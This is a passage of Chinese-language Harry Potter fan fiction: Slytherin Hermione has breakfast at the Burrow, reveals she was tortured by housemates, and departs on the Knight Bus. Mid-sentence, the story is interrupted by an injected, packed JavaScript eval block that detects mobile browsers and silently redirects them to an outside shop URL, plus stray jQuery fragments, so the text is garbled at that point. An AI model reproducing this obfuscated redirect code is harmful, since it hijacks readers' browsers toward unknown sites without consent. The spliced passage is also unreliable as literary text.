韦斯莱夫人的吼叫仿佛有几个小时那么久，但根据赫敏手表上显示的，实际上只有大约一刻钟。赫敏和哈利尴尬地站在一旁，面面相觑，韦斯莱夫人对着她的儿子们大声咆哮，滔滔不绝——床铺空了，没有留言，车也不见了，以前从未发生过这样的问题——每当她哪个儿子试图为自己辩解时，就像火上浇油一样让韦斯莱夫人更加激动，骂的更凶，试图开口的儿子只能吓得缩回去。
等一切结束时，韦斯莱夫人已经喊得嗓子都哑了。她转向哈利和赫敏，两人都不由自主地往后退了一步。
“很高兴见到你，亲爱的哈利，”她说。“进来吃点早餐吧。”
哈利看起来如释重负，飞快地跟着罗恩溜进屋里。韦斯莱夫人站在院子里看着赫敏，赫敏也看着她。
“你一定是赫敏吧？”她最后说道。
她的语气里有一种赫敏不喜欢的意味，赫敏挺直了身子，抱起双臂。
“是的。”她抬起下巴说。
韦斯莱夫人又打量了她好一会儿，然后长叹一声。
“你也进来吧，”她说，“早餐够大家一起吃。”
韦斯莱夫人转身走回了屋里。赫敏瞥了一眼双胞胎，他们鼓励地点了点头。没有更好的选择，赫敏跟着韦斯莱夫人进了屋。
这房子和赫敏想象中的纯血统巫师家庭完全不一样。对面墙上的挂钟只有一根针，没有数字，钟面上写着“煮茶”、“喂鸡”、“你要迟到了”之类的话。屋子里四处散落着各种各样的魔法书，但都是些像《给你的奶酪施上魔法》之类的。房子的天花板似乎有点低，而且如果她没看错的话，门口还有一把扫帚在自己扫地。
它古朴又妙趣横生，与赫敏想象中的魔法家庭截然不同。她原本以为会看到宏伟的庄园，但仔细想想，陋居的内部和外部风格一致——奇特、古怪，充满魔法气息，也别有一番温馨的居家魅力。她原来的想象被斯莱特林同学们的描述影响过多了——他们总爱吹嘘自己拥有多么气派的庄园。
“韦斯莱夫人，您的家真漂亮。”
韦斯莱夫人从煎锅前转过身，挑了挑眉毛，脸色紧绷起来。
“别跟我来这套！”她生气地说。
“没有！我是认真的！”赫敏连忙说道，举起双手安抚她，“真的。我以前从没见过魔法家庭，这里太漂亮了。一切都那么温暖、欢乐。仿佛你们家的爱充满了整个屋子。”
“哦。”韦斯莱夫人的表情柔和下来，脸颊泛起红晕，“那，谢谢你。”
她端来了一桌丰盛的早餐，有鸡蛋、香肠和培根，大家开始享用起来。谈话的焦点集中在哈利与家养小精灵的奇遇上，赫敏觉得这很奇怪。首先那只家养小精灵的名字听起来就很古怪——难道所有的小精灵都叫多比这样的名字吗？哈利故事中家养小精灵自我惩罚的部分让她感到不安。她在霍格沃茨见过的家养小精灵从来没有做过类似的事情。难道私人雇佣的家养小精灵会遭受虐待吗？
话题从哈利身上转开了，哈利看起来松了一口气，很感激终于可以停止说话专心吃饭了。话题转而落到了赫敏身上。
“赫敏，我原以为你是斯莱特林呢，亲爱的，”韦斯莱夫人说，“你怎么会从来没见过魔法家庭呢？”
她提问得随意，听起来却像是在挑衅一样。赫敏咽下了嘴里的鸡蛋。
“我确实是斯莱特林学院的，”她告诉她，“我的父母是麻瓜。”
韦斯莱夫人面露困惑，但仍然保持着礼貌。
“您可能以为所有斯莱特林学生的父母都是巫师，”赫敏耐心地解释，“虽然斯莱特林的大部分学生是纯血统，但并非所有人都如此。”
韦斯莱夫人扬起了眉毛。
“嗯，那你肯定过得很不容易吧，”她说，但她的语气听起来并不像她的话语那样充满同情，“一个麻瓜出身的巫师进了斯莱特林……”
“我过得挺好的，”赫敏一边用叉子戳着鸡蛋一边说，“斯莱特林是有野心的人待的学院，它最适合我。”
“话虽如此，”韦斯莱夫人脸上露出一种居高临下的微笑，“斯莱特林以注重血统纯正而臭名昭著。我无法想象像你这样……出身的人，在那里能被很好地接纳。”
“我当然知道这一点，韦斯莱夫人，”赫敏厉声尖刻说道，“去年我就因为我的血统被自己的同院同学抓起来折磨。我非常清楚血统纯正在斯莱特林有多么重要。”
韦斯莱夫人愣住了。
哈利、罗恩、弗雷德和乔治也是如此。
一桌人都瞪大了眼睛盯着她，赫敏不禁瑟缩了一下。
“……请您不要向任何人提起这件事。”赫敏低声说道，“斯莱特林的内部争斗严格限制在学院内部，如果别人知道我告诉了外人……”
“如果他们仅仅因为你不是纯血统就欺负你……”弗雷德说，面色苍白。
“……那可能会非常糟糕。”乔治说，脸色十分难看。
赫敏点了点头，想起那个夜晚的情景，她无助地倒在地板上，切割咒划过她的皮肤，下意识地打了个寒颤。
“非常糟糕。”她同意道。
一阵沉重的沉默。韦斯莱夫人忙碌地走来走去，最后坐回自己的椅子上。
“当然！”她开口说道，“我们韦斯莱当然知道怎样保守秘密，对吧，孩子们？”
她用锐利的目光扫过她的儿子们，三个人都畏缩了身子。
“对，”罗恩赶紧说道，“我们绝不会告诉任何人。”
“连没有灵魂的东西我们都不会告诉。”弗雷德补充道。
“对任何人或任何东西都不提及一个字，”乔治点点头说，“就连餐盘也不告诉。”
“还有墙壁——”
“还有椅子——”
“还有床——”
韦斯莱夫人狠狠瞪了双胞胎一眼，他们立刻停了下来，装作一副一直在安静吃早餐的样子，直到弗雷德和罗恩开始聊起了魁地奇。很明显，他们是想转移话题，但屋子里的气氛确实因此缓和了不少。
赫敏放松下来，继续吃她的早餐，却发现哈利把椅子挪到了她旁边紧紧挨着，正怒视着她。
“你被折磨过？ ”他气愤地压低声音说，“为什么你从来没告诉过我？”
他绿色的眼睛里透着一丝被背叛的神色，赫敏咬了咬嘴唇。
“告诉你也无济于事，”她轻声告诉他，“那只会让你生气，我担心你会冲动地去做出什么傻事，给自己惹麻烦。”
哈利皱起了眉头。
“你怎么会这么想？”他侧过身看着她问道，“你为什么会觉得我会想做什么？我可能会抱怨别人受到的惩罚不够重，但我不会去公开反对。”
赫敏畏缩了一下，哈利的绿眼睛仿佛燃起了火焰，像是毒药的颜色，带有致命的放射性。
“他们没有受到惩罚，是吗？”哈利用气声说道。
这不是一个问题。
“是的，”赫敏承认道，“他们没有。”
哈利沉默了很久。赫敏也一动不动地坐着。
“我们还没谈完这件事，赫敏。”他最后对她说，“但不是在这里。不是现在。”
赫敏长舒一口气，她都没意识到自己刚才一直屏着呼吸。她将目光从哈利身上移开，重新看向餐桌。
“我们一两周后再去，”韦斯莱夫人说，“金妮也很期待拥有自己的魔杖。”
“为什么现在不能去？”罗恩抱怨道，“我想看看新款的光轮系列，而且早点去避开开学高峰期肯定更好吧？”
“我们还要买书，罗纳德，”韦斯莱夫人不耐烦地说，“学校的通知信还没发呢。你连书单都没有，我们怎么买东西？”
罗恩眨了眨眼。“哦
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17634902|202970||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。”
“哦。”弗雷德模仿他，傻乎乎地眨了眨眼睛。
“哦。”乔治掐着嗓子用假声说道，眨眼时还做了个斗鸡眼，赫敏差点笑出声来。罗恩瞪着他的哥哥们，他们随即从桌边站了起来。
“哎呀，我好累，”弗雷德打了个哈欠，“我想我该去睡觉了——”
“不行！”韦斯莱夫人无情地打断道，“熬了个通宵那是你自找的。现在你得去帮我把花园里的地精都清理掉；它们又开始泛滥成灾了——”
“哦，妈妈——”
“还有你们两个。”她瞪了罗恩和乔治一眼。
“你们两个可以上去睡觉。”她又对哈利和赫敏说，“赫敏，金妮的房间在三楼，有牌子。哈利——”
“我去帮罗恩一起干吧，”哈利赶紧说道，“我还没见过怎么清理地精呢。”
“韦斯莱夫人，我该回家了。”赫敏站起身来说道，“我和父母说过今天上午回去，而且开学前我还有一大堆作业要完成。”
哈利突然被呛到了，赫敏担忧地瞥了他一眼，看了一会才发现他是在努力憋笑。赫敏意识到自己撒的谎太过明显，不禁脸红了，但韦斯莱夫人似乎并没有注意到。
“真是懂事的好孩子啊。”她点点头说，“嗯，我让一个男孩送你到街上吧。我猜你是坐骑士巴士来的？”
一阵窸窣声后，大家经过一局快速的“扫帚、游走球、金色飞贼”游戏，决定由弗雷德送赫敏到街上，其他人则绕到房子后面开始清除地精。弗雷德对这个结果非常满意，而罗恩则一脸闷闷不乐。赫敏怀疑他其实是不想清除花园里的地精，倒不是真的多喜欢和她待在一起。
赫敏抓起包甩到肩上，被重量压得微微吸了口气。她和大家道别后，和弗雷德一起出发了。
赫敏注意到，陋居离公路相当远。她想，如果巫师们平时不开车，这么远的路程其实倒也无所谓。幻影移形和飞路网让这些都变得无关紧要了。
“你是个优秀的策划者。”弗雷德漫不经心地说道，打断了赫敏的思绪，“营救哈利的计划执行得很好。我们合作得很愉快。”
赫敏抬头看着他。
“……我什么计划都没做，”她说，“那是你们的主意。提议的用魔法车，还有用绳子。”
“是你事先去踩点的。也是你提议要秘密行动，”弗雷德指出，“而且你碰巧还随身带了个抓钩。一个抓钩。 ”
赫敏对此一时语塞。毕竟，她带上了她的全套地下城探险装备，因为不知道会需要用到什么。
“……然后呢？”她最终问道，目光落在韦斯莱家通往公路之间长出的杂草上。
“能够制定这种计划是大多数人都不具备的天赋。”弗雷德告诉她，把手放在她肩上。她抬头看着他，他脸上绽开一个笑容，眼睛闪闪发光。
“要成为一个出色的恶作剧高手，就需要这种策划上的巧思。”他说。
赫敏笑了。
“我可是斯莱特林，你忘了吗，弗雷德？”她一边说着，一边打掉他的手，“我记得你们几乎只捉弄斯莱特林的学生。我可不想跟你们开启恶作剧之战。”
弗雷德耸了耸肩，满不在乎道：“那或许我和乔治应该另寻目标了。”
赫敏伸出魔杖，只听“砰”的一声，骑士巴士出现了。她把包往肩上挪了挪，猛然感到一阵深深的疲惫，弗雷德扶着她上了车。
“好好想想，格兰杰！”他在她身后挥了挥手，咧嘴笑道，“我们可以一起成就一番伟业！”
赫敏翻了个白眼，转向售票员，售票员疑惑地看着她。
“我好像见过你？”他说。
赫敏没有理会他的问题。她告诉他自己要去的地址，然后停顿了一下。
“不急，”她递过银西可说，“其实，我可以最后一个到。请给我安排卧铺，谢谢。”